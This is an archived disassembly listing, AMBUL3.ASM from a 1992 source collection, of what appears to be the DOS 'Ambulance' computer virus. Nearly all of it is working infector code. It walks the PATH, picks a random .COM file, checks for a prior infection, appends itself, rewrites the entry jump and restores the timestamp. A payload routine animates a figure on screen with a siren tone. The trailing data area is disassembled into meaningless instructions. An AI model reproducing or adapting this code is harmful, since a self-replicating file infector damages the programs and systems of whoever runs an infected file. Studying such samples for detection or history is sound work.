home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / AMBUL3.ASM < prev    next >
Assembly Source File  |  1992-08-16  |  16KB  |  391 lines

  1. ;NAME:          AMBUL3.C-M
  2. ;FILE SIZE:     00330h - 816d
  3. ;START (CS:IP): 00100h
  4. ;CODE END:      00430h
  5. ;CODE ORIGIN:   00100h
  6. ;DATE:          Sun Aug 16 15:45:06 1992
  7.  
  8. CODE    SEGMENT BYTE PUBLIC 'CODE'
  9. ASSUME  CS:CODE,DS:CODE,ES:NOTHING,SS:NOTHING
  10.  
  11. P00100  PROC
  12.         ORG     0100h
  13.  
  14. H00100: JMP    H00114                    ;00100 E91100     ___
  15. ;Will be overwritten with B4 09 BA-- MOV AH,09 and MOV DX
  16. ;---------------------------------------------------
  17.     OR    [BX+DI],AX                ;00103 0901      __
  18. ;DX gets this, location of string.
  19.         INT     21h             ;Indef_INT:21h-AH   ;00105 CD21          _!
  20.     INT    20h        ;B-TERM_norm:20h    ;00107 CD20      _ 
  21. ;---------------------------------------------------
  22.     DB    "Infect me!$"                ;00109 496E6665637420
  23. ;---------------------------------------------------
  24. H00114: CALL    H00118          ; . . . . . . . . . ;00114 E80100        ___
  25.     ADD    [BP-7Fh],BX                ;00117 015E81     _^_
  26.     OUT    DX,AL        ;Port_OUT:DX        ;0011A EE         _
  27.     ADD    AX,[BX+DI]                ;0011B 0301      __
  28.     CALL    H0013A        ; . . . . . . . . . ;0011D E81A00     ___
  29.     CALL    H0013A        ; . . . . . . . . . ;00120 E81700     ___
  30.     CALL    H002F8        ; . . . . . . . . . ;00123 E8D201     ___
  31.     LEA    BX,[SI+0419h]                ;00126 8D9C1904     ____
  32.     MOV    DI,0100h                ;0012A BF0001     ___
  33.     MOV    AL,[BX]                 ;0012D 8A07      __
  34.     MOV    [DI],AL                 ;0012F 8805      __
  35.     MOV    AX,[BX+01h]                ;00131 8B4701     _G_
  36.     MOV    [DI+01h],AX                ;00134 894501     _E_
  37.     JMP    DI                    ;00137 FFE7      __
  38. ;---------------------------------------------------
  39.     RET            ;RET_Near        ;00139 C3         _
  40. ;---------------------------------------------------
  41. H0013A: CALL    H0021B        ; . . . . . . . . . ;0013A E8DE00     ___
  42.     MOV    AL,[SI+0428h]                ;0013D 8A842804     __(_
  43.     OR    AL,AL                    ;00141 0AC0      __
  44.     JZ    H00139                    ;00143 74F4      t_
  45.     LEA    BX,[SI+040Fh]                ;00145 8D9C0F04     ____
  46.     INC    Word Ptr [BX]                ;00149 FF07      __
  47.     LEA    DX,[SI+0428h]                ;0014B 8D942804     __(_
  48.     MOV    AX,3D02h                ;0014F B8023D     __=
  49.     INT    21h        ;2-Open_Fl_Hdl        ;00152 CD21      _!
  50.     MOV    [SI+0417h],AX                ;00154 89841704     ____
  51.     MOV    BX,[SI+0417h]                ;00158 8B9C1704     ____
  52.     MOV    CX,0003h                ;0015C B90300     ___
  53.     LEA    DX,[SI+0414h]                ;0015F 8D941404     ____
  54.     MOV    AH,3Fh                    ;00163 B43F      _?
  55.     INT    21h        ;2-Rd_Fl_Hdl        ;00165 CD21      _!
  56.     MOV    AL,[SI+0414h]                ;00167 8A841404     ____
  57.     CMP    AL,0E9h                 ;0016B 3CE9      <_
  58.     JNZ    H001AE                    ;0016D 753F      u?
  59.     MOV    DX,[SI+0415h]                ;0016F 8B941504     ____
  60.     MOV    BX,[SI+0417h]                ;00173 8B9C1704     ____
  61.     ADD    DX,+03h                 ;00177 83C203     ___
  62.     XOR    CX,CX                    ;0017A 33C9      3_
  63.     MOV    AX,4200h                ;0017C B80042     __B
  64.     INT    21h        ;2-Mov_Fl_Hdl_Ptr   ;0017F CD21      _!
  65.     MOV    BX,[SI+0417h]                ;00181 8B9C1704     ____
  66.     MOV    CX,0006h                ;00185 B90600     ___
  67.     LEA    DX,[SI+041Ch]                ;00188 8D941C04     ____
  68.     MOV    AH,3Fh                    ;0018C B43F      _?
  69.     INT    21h        ;2-Rd_Fl_Hdl        ;0018E CD21      _!
  70.     MOV    AX,[SI+041Ch]                ;00190 8B841C04     ____
  71.     MOV    BX,[SI+041Eh]                ;00194 8B9C1E04     ____
  72.     MOV    CX,[SI+0420h]                ;00198 8B8C2004     __ _
  73.     CMP    AX,[SI+0100h]                ;0019C 3B840001     ;___
  74.     JNZ    H001AE                    ;001A0 750C      u_
  75.     CMP    BX,[SI+0102h]                ;001A2 3B9C0201     ;___
  76.     JNZ    H001AE                    ;001A6 7506      u_
  77.     CMP    CX,[SI+0104h]                ;001A8 3B8C0401     ;___
  78.     JZ    H00212                    ;001AC 7464      td
  79. H001AE: MOV    BX,[SI+0417h]                ;001AE 8B9C1704     ____
  80.     XOR    CX,CX                    ;001B2 33C9      3_
  81.     XOR    DX,DX                    ;001B4 33D2      3_
  82.     MOV    AX,4202h                ;001B6 B80242     __B
  83.     INT    21h        ;2-Mov_Fl_Hdl_Ptr   ;001B9 CD21      _!
  84.     SUB    AX,0003h                ;001BB 2D0300     -__
  85.     MOV    [SI+0412h],AX                ;001BE 89841204     ____
  86.     MOV    BX,[SI+0417h]                ;001C2 8B9C1704     ____
  87.     MOV    AX,5700h                ;001C6 B80057     __W
  88.     INT    21h        ;2-Fl_Hdl_Date_Time ;001C9 CD21      _!
  89.     PUSH    CX                    ;001CB 51         Q
  90.     PUSH    DX                    ;001CC 52         R
  91.     MOV    BX,[SI+0417h]                ;001CD 8B9C1704     ____
  92.     MOV    CX,0319h                ;001D1 B91903     ___
  93.     LEA    DX,[SI+0100h]                ;001D4 8D940001     ____
  94.     MOV    AH,40h                    ;001D8 B440      _@
  95.     INT    21h        ;2-Wr_Fl_Hdl        ;001DA CD21      _!
  96.     MOV    BX,[SI+0417h]                ;001DC 8B9C1704     ____
  97.     MOV    CX,0003h                ;001E0 B90300     ___
  98.     LEA    DX,[SI+0414h]                ;001E3 8D941404     ____
  99.     MOV    AH,40h                    ;001E7 B440      _@
  100.     INT    21h        ;2-Wr_Fl_Hdl        ;001E9 CD21      _!
  101.     MOV    BX,[SI+0417h]                ;001EB 8B9C1704     ____
  102.     XOR    CX,CX                    ;001EF 33C9      3_
  103.     XOR    DX,DX                    ;001F1 33D2      3_
  104.     MOV    AX,4200h                ;001F3 B80042     __B
  105.     INT    21h        ;2-Mov_Fl_Hdl_Ptr   ;001F6 CD21      _!
  106.     MOV    BX,[SI+0417h]                ;001F8 8B9C1704     ____
  107.     MOV    CX,0003h                ;001FC B90300     ___
  108.     LEA    DX,[SI+0411h]                ;001FF 8D941104     ____
  109.     MOV    AH,40h                    ;00203 B440      _@
  110.     INT    21h        ;2-Wr_Fl_Hdl        ;00205 CD21      _!
  111.     POP    DX                    ;00207 5A         Z
  112.     POP    CX                    ;00208 59         Y
  113.     MOV    BX,[SI+0417h]                ;00209 8B9C1704     ____
  114.     MOV    AX,5701h                ;0020D B80157     __W
  115.     INT    21h        ;2-Fl_Hdl_Date_Time ;00210 CD21      _!
  116. H00212: MOV    BX,[SI+0417h]                ;00212 8B9C1704     ____
  117.     MOV    AH,3Eh                    ;00216 B43E      _>
  118.     INT    21h        ;2-Close_Fl_Hdl     ;00218 CD21      _!
  119.     RET            ;RET_Near        ;0021A C3         _
  120. ;---------------------------------------------------
  121. H0021B: MOV    AX,DS:[002Ch]                ;0021B A12C00     _,_
  122.     MOV    ES,AX        ;ES_Chg         ;0021E 8EC0      __
  123.     PUSH    DS                    ;00220 1E         _
  124.     MOV    AX,0040h                ;00221 B84000     _@_
  125.     MOV    DS,AX        ;DS_Chg         ;00224 8ED8      __
  126.     MOV    BP,DS:[006Ch]                ;00226 8B2E6C00     _.l_
  127.     POP    DS                    ;0022A 1F         _
  128.     TEST    BP,0003h                ;0022B F7C50300     ____
  129.     JZ    H00248                    ;0022F 7417      t_
  130.     XOR    BX,BX                    ;00231 33DB      3_
  131.     MOV    AX,ES:[BX]    ;ES_Ovrd        ;00233 268B07     &__
  132.     CMP    AX,4150h                ;00236 3D5041     =PA
  133.     JNZ    H00243                    ;00239 7508      u_
  134.     CMP    Word Ptr ES:[BX+02h],4854h
  135.                 ;ES_Ovrd        ;0023B 26817F025448  &___TH
  136.     JZ    H0024E                    ;00241 740B      t_
  137. H00243: INC    BX                    ;00243 43         C
  138.     OR    AX,AX                    ;00244 0BC0      __
  139.     JNZ    H00233                    ;00246 75EB      u_
  140. H00248: LEA    DI,[SI+0428h]                ;00248 8DBC2804     __(_
  141.     JMP    Short H00280                ;0024C EB32      _2
  142. ;---------------------------------------------------
  143. H0024E: ADD    BX,+05h                 ;0024E 83C305     ___
  144.     LEA    DI,[SI+0428h]                ;00251 8DBC2804     __(_
  145.     MOV    AL,ES:[BX]    ;ES_Ovrd        ;00255 268A07     &__
  146.     INC    BX                    ;00258 43         C
  147.     OR    AL,AL                    ;00259 0AC0      __
  148.     JZ    H00276                    ;0025B 7419      t_
  149.     CMP    AL,3Bh                    ;0025D 3C3B      <;
  150.     JZ    H00266                    ;0025F 7405      t_
  151.     MOV    [DI],AL                 ;00261 8805      __
  152.     INC    DI                    ;00263 47         G
  153.     JMP    Short H00255                ;00264 EBEF      __
  154. ;---------------------------------------------------
  155. H00266: CMP    Byte Ptr ES:[BX],00h
  156.                 ;ES_Ovrd        ;00266 26803F00     &_?_
  157.     JZ    H00276                    ;0026A 740A      t_
  158.     SHR    BP,1                    ;0026C D1ED      __
  159.     SHR    BP,1                    ;0026E D1ED      __
  160.     TEST    BP,0003h                ;00270 F7C50300     ____
  161.     JNZ    H00251                    ;00274 75DB      u_
  162. H00276: CMP    Byte Ptr [DI-01h],5Ch            ;00276 807DFF5C     _}_\
  163.     JZ    H00280                    ;0027A 7404      t_
  164.     MOV    Byte Ptr [DI],5Ch            ;0027C C6055C     __\
  165.     INC    DI                    ;0027F 47         G
  166. H00280: PUSH    DS                    ;00280 1E         _
  167.     POP    ES                    ;00281 07         _
  168.     MOV    [SI+0422h],DI                ;00282 89BC2204     __"_
  169. ;********* Put "*.COM" at ES:DI
  170.         MOV     AX,2E2Ah                            ;00286 B82A2E        _*.
  171.     STOSW                        ;00289 AB         _
  172.     MOV    AX,4F43h                ;0028A B8434F     _CO
  173.     STOSW                        ;0028D AB         _
  174.     MOV    AX,004Dh                ;0028E B84D00     _M_
  175.     STOSW                        ;00291 AB         _
  176. ;**********
  177.         PUSH    ES                                  ;00292 06            _
  178.     MOV    AH,2Fh                    ;00293 B42F      _/
  179.     INT    21h        ;2-Get_DTA        ;00295 CD21      _!
  180.     MOV    AX,ES                    ;00297 8CC0      __
  181.     MOV    [SI+0424h],AX                ;00299 89842404     __$_
  182.     MOV    [SI+0426h],BX                ;0029D 899C2604     __&_
  183.     POP    ES                    ;002A1 07         _
  184.     LEA    DX,[SI+0478h]                ;002A2 8D947804     __x_
  185.     MOV    AH,1Ah                    ;002A6 B41A      __
  186.     INT    21h        ;1-Set_DTA        ;002A8 CD21      _!
  187.     LEA    DX,[SI+0428h]                ;002AA 8D942804     __(_
  188.     XOR    CX,CX                    ;002AE 33C9      3_
  189.     MOV    AH,4Eh                    ;002B0 B44E      _N
  190.     INT    21h        ;2-Srch_1st_Fl_Hdl  ;002B2 CD21      _!
  191.     JNB    H002BE                    ;002B4 7308      s_
  192.     XOR    AX,AX                    ;002B6 33C0      3_
  193.     MOV    [SI+0428h],AX                ;002B8 89842804     __(_
  194.     JMP    Short H002E7                ;002BC EB29      _)
  195. ;---------------------------------------------------
  196. H002BE: PUSH    DS                    ;002BE 1E         _
  197.     MOV    AX,0040h                ;002BF B84000     _@_
  198.     MOV    DS,AX        ;DS_Chg         ;002C2 8ED8      __
  199.     ROR    BP,1                    ;002C4 D1CD      __
  200.     XOR    BP,DS:[006Ch]                ;002C6 332E6C00     3.l_
  201.     POP    DS                    ;002CA 1F         _
  202.     TEST    BP,0007h                ;002CB F7C50700     ____
  203.     JZ    H002D7                    ;002CF 7406      t_
  204.     MOV    AH,4Fh                    ;002D1 B44F      _O
  205.     INT    21h        ;2-Srch_Nxt_Fl_Hdl  ;002D3 CD21      _!
  206.     JNB    H002BE                    ;002D5 73E7      s_
  207. H002D7: MOV    DI,[SI+0422h]                ;002D7 8BBC2204     __"_
  208.     LEA    BX,[SI+0496h]                ;002DB 8D9C9604     ____
  209.     MOV    AL,[BX]                 ;002DF 8A07      __
  210.     INC    BX                    ;002E1 43         C
  211.     STOSB                        ;002E2 AA         _
  212.     OR    AL,AL                    ;002E3 0AC0      __
  213.     JNZ    H002DF                    ;002E5 75F8      u_
  214. H002E7: MOV    BX,[SI+0426h]                ;002E7 8B9C2604     __&_
  215.     MOV    AX,[SI+0424h]                ;002EB 8B842404     __$_
  216.     PUSH    DS                    ;002EF 1E         _
  217.     MOV    DS,AX        ;DS_Chg         ;002F0 8ED8      __
  218.     MOV    AH,1Ah                    ;002F2 B41A      __
  219.     INT    21h        ;1-Set_DTA        ;002F4 CD21      _!
  220.     POP    DS                    ;002F6 1F         _
  221.     RET            ;RET_Near        ;002F7 C3         _
  222. ;---------------------------------------------------
  223. H002F8: PUSH    ES                    ;002F8 06         _
  224.     MOV    AX,[SI+040Fh]                ;002F9 8B840F04     ____
  225.     AND    AX,0007h                ;002FD 250700     %__
  226.     CMP    AX,0006h                ;00300 3D0600     =__
  227.     JNZ    H0031A                    ;00303 7515      u_
  228.     MOV    AX,0040h                ;00305 B84000     _@_
  229.     MOV    ES,AX        ;ES_Chg         ;00308 8EC0      __
  230.     MOV    AX,ES:[000Ch]    ;ES_Ovrd        ;0030A 26A10C00     &___
  231.     OR    AX,AX                    ;0030E 0BC0      __
  232.     JNZ    H0031A                    ;00310 7508      u_
  233.     INC    Word Ptr ES:[000Ch]
  234.                 ;ES_Ovrd        ;00312 26FF060C00     &____
  235.     CALL    H0031C        ; . . . . . . . . . ;00317 E80200     ___
  236. H0031A: POP    ES                    ;0031A 07         _
  237.     RET            ;RET_Near        ;0031B C3         _
  238. ;---------------------------------------------------
  239. H0031C: PUSH    DS                    ;0031C 1E         _
  240.     MOV    DI,0B800h                ;0031D BF00B8     ___
  241.     MOV    AX,0040h                ;00320 B84000     _@_
  242.     MOV    DS,AX        ;DS_Chg         ;00323 8ED8      __
  243.     MOV    AL,DS:[0049h]                ;00325 A04900     _I_
  244.     CMP    AL,07h                    ;00328 3C07      <_
  245.     JNZ    H0032F                    ;0032A 7503      u_
  246.     MOV    DI,0B000h                ;0032C BF00B0     ___
  247. H0032F: MOV    ES,DI        ;ES_Chg         ;0032F 8EC7      __
  248.     POP    DS                    ;00331 1F         _
  249.     MOV    BP,0FFF0h                ;00332 BDF0FF     ___
  250.     MOV    DX,0000h                ;00335 BA0000     ___
  251.     MOV    CX,0010h                ;00338 B91000     ___
  252.     CALL    H0037D        ; . . . . . . . . . ;0033B E83F00     _?_
  253.     INC    DX                    ;0033E 42         B
  254.     LOOP    H0033B                    ;0033F E2FA      __
  255.     CALL    H0035A        ; . . . . . . . . . ;00341 E81600     ___
  256.     CALL    H003C2        ; . . . . . . . . . ;00344 E87B00     _{_
  257.     INC    BP                    ;00347 45         E
  258.     CMP    BP,+50h                 ;00348 83FD50     __P
  259.     JNZ    H00335                    ;0034B 75E8      u_
  260.         CALL    SILENC          ; . . . . . . . . . ;0034D E80300        ___
  261.     PUSH    DS                    ;00350 1E         _
  262.     POP    ES                    ;00351 07         _
  263.     RET            ;RET_Near        ;00352 C3         _
  264. ;---------------------------------------------------
  265. ;********** Silence speaker
  266. SILENC: IN      AL,61h          ;Port_IN:61h        ;00353 E461          _a
  267.     AND    AL,0FCh                 ;00355 24FC      $_
  268.     OUT    61h,AL        ;Port_OUT:61h        ;00357 E661      _a
  269.     RET            ;RET_Near        ;00359 C3         _
  270. ;---------------------------------------------------
  271. H0035A: MOV    DX,07D0h                ;0035A BAD007     ___
  272.     TEST    BP,0004h                ;0035D F7C50400     ____
  273.     JZ    H00366                    ;00361 7403      t_
  274.     MOV    DX,0BB8h                ;00363 BAB80B     ___
  275. H00366: IN    AL,61h        ;Port_IN:61h        ;00366 E461      _a
  276.     TEST    AL,03h                    ;00368 A803      __
  277.     JNZ    H00374                    ;0036A 7508      u_
  278.     OR    AL,03h                    ;0036C 0C03      __
  279.     OUT    61h,AL        ;Port_OUT:61h        ;0036E E661      _a
  280.     MOV    AL,0B6h                 ;00370 B0B6      __
  281.     OUT    43h,AL        ;Port_OUT:43h        ;00372 E643      _C
  282. H00374: MOV    AX,DX                    ;00374 8BC2      __
  283.     OUT    42h,AL        ;Port_OUT:42h        ;00376 E642      _B
  284.     MOV    AL,AH                    ;00378 88E0      __
  285.     OUT    42h,AL        ;Port_OUT:42h        ;0037A E642      _B
  286.     RET            ;RET_Near        ;0037C C3         _
  287. ;---------------------------------------------------
  288. H0037D: PUSH    CX                    ;0037D 51         Q
  289.     PUSH    DX                    ;0037E 52         R
  290.     LEA    BX,[SI+03BFh]                ;0037F 8D9CBF03     ____
  291.     ADD    BX,DX                    ;00383 03DA      __
  292.     ADD    DX,BP                    ;00385 01EA      __
  293.     OR    DX,DX                    ;00387 0BD2      __
  294.     JS    H003BF                    ;00389 7834      x4
  295.     CMP    DX,+50h                 ;0038B 83FA50     __P
  296.     JNB    H003BF                    ;0038E 732F      s/
  297.     MOV    DI,0C80h                ;00390 BF800C     ___
  298.     ADD    DI,DX                    ;00393 03FA      __
  299.     ADD    DI,DX                    ;00395 03FA      __
  300.     SUB    DX,BP                    ;00397 29EA      )_
  301.     MOV    CX,0005h                ;00399 B90500     ___
  302.     MOV    AH,07h                    ;0039C B407      __
  303.     MOV    AL,[BX]                 ;0039E 8A07      __
  304.     SUB    AL,07h                    ;003A0 2C07      ,_
  305.     ADD    AL,CL                    ;003A2 02C1      __
  306.     SUB    AL,DL                    ;003A4 28D0      (_
  307.     CMP    CX,+05h                 ;003A6 83F905     ___
  308.     JNZ    H003B5                    ;003A9 750A      u_
  309.     MOV    AH,0Fh                    ;003AB B40F      __
  310.     TEST    BP,0003h                ;003AD F7C50300     ____
  311.     JZ    H003B5                    ;003B1 7402      t_
  312.     MOV    AL,20h                    ;003B3 B020      _ 
  313. H003B5: STOSW                        ;003B5 AB         _
  314.     ADD    BX,+10h                 ;003B6 83C310     ___
  315.     ADD    DI,009Eh                ;003B9 81C79E00     ____
  316.     LOOP    H0039C                    ;003BD E2DD      __
  317. H003BF: POP    DX                    ;003BF 5A         Z
  318.     POP    CX                    ;003C0 59         Y
  319.     RET            ;RET_Near        ;003C1 C3         _
  320. ;---------------------------------------------------
  321. H003C2: PUSH    DS                    ;003C2 1E         _
  322.     MOV    AX,0040h                ;003C3 B84000     _@_
  323.     MOV    DS,AX        ;DS_Chg         ;003C6 8ED8      __
  324.     MOV    AX,DS:[006Ch]                ;003C8 A16C00     _l_
  325.     CMP    AX,DS:[006Ch]                ;003CB 3B066C00     ;_l_
  326.     JZ    H003CB                    ;003CF 74FA      t_
  327.     POP    DS                    ;003D1 1F         _
  328.     RET            ;RET_Near        ;003D2 C3         _
  329. ;---------------------------------------------------
  330.     DB    '"'                                 ;003D3 22
  331. ;---------------------------------------------------
  332.     AND    SP,[SI]     ;SP_Chg         ;003D4 2324      #$
  333.     AND    AX,2726h                ;003D6 252627     %&'
  334.     SUB    [BX+DI],CH                ;003D9 2829      ()
  335.     DB    66h        ;Indef_OP:66h        ;003DB 66         f
  336. ;---------------------------------------------------
  337.     XCHG    DI,[BP+DI]                ;003DC 873B      _;
  338.     SUB    AX,2F2Eh                ;003DE 2D2E2F     -./
  339.     XOR    [BX+DI],DH                ;003E1 3031      01
  340.     AND    SP,AX        ;SP_Chg         ;003E3 23E0      #_
  341.     LOOPZ    H003C9                    ;003E5 E1E2      __
  342.     JCXZ    H003CD                    ;003E7 E3E4      __
  343.     IN    AX,0E6h     ;Port_IN:E6h        ;003E9 E5E6      __
  344.     OUT    0E7h,AX     ;Port_OUT:E7h        ;003EB E7E7      __
  345.     JMP    H0EFDA                    ;003ED E9EAEB     ___
  346. ;---------------------------------------------------
  347.     XOR    [BX+DI],DH                ;003F0 3031      01
  348.     XOR    AH,[SI]                 ;003F2 3224      2$
  349.     LOOPNZ    H003D7                    ;003F4 E0E1      __
  350.     LOOP    H003DB                    ;003F6 E2E3      __
  351.     CALL    H0EE25        ; . . . . . . . . . ;003F8 E82AEA     _*_
  352.     OUT    0E8h,AX     ;Port_OUT:E8h        ;003FB E7E8      __
  353.     JMP    H0342F                    ;003FD E92F30     _/0
  354. ;---------------------------------------------------
  355.     DB    6Dh        ;286_INSW        ;00400 6D         m
  356. ;---------------------------------------------------
  357.     XOR    DH,[BP+DI]                ;00401 3233      23
  358.     AND    AX,0E2E1h                ;00403 25E1E2     %__
  359.     JCXZ    H003EC                    ;00406 E3E4      __
  360.     IN    AX,0E7h     ;Port_IN:E7h        ;00408 E5E7      __
  361.     OUT    0E8h,AX     ;Port_OUT:E8h        ;0040A E7E8      __
  362.     JMP    H0EFF9                    ;0040C E9EAEB     ___
  363. ;---------------------------------------------------
  364.     IN    AL,DX        ;Port_IN:DX        ;0040F EC         _
  365.     IN    AX,DX        ;Port_IN:DX        ;00410 ED         _
  366.     OUT    DX,AL        ;Port_OUT:DX        ;00411 EE         _
  367.     OUT    DX,AX        ;Port_OUT:DX        ;00412 EF         _
  368.     OUT    0E7h,AL     ;ES_Ovrd        ;00413 26E6E7     &__
  369.     SUB    [BX+DI+5Ah],BX                ;00416 29595A     )YZ
  370.     SUB    AL,0ECh                 ;00419 2CEC      ,_
  371.     IN    AX,DX        ;Port_IN:DX        ;0041B ED         _
  372.     OUT    DX,AL        ;Port_OUT:DX        ;0041C EE         _
  373.     OUT    DX,AX        ;Port_OUT:DX        ;0041D EF         _
  374.     DB    0F0h        ;LOCK:F0h        ;0041E F0         _
  375.         XOR     AH,[BP+SI+34]                       ;0041F 326234        2b4
  376. ;---------------------------------------------------
  377.     HLT            ;SYSTEM_HALT        ;00422 F4         _
  378.     OR    AL,[BX+SI]                ;00423 0A00      __
  379.     JMP    H00439                    ;00425 E91100     ___
  380. ;---------------------------------------------------
  381.         DB      0B4h, 09h, 0BAh ;First three bytes  ;00428
  382.         DB      05,00           ;Dunno              ;0042B
  383.         DB      0B4h, 09h, 0BAh ;First three bytes  ;0042D
  384.                                 ;AGAIN! Wierd
  385. P00100  ENDP
  386.  
  387. CODE    ENDS
  388.         END     H00100
  389.  
  390. ;-------------------------------------------------------------------------------
  391.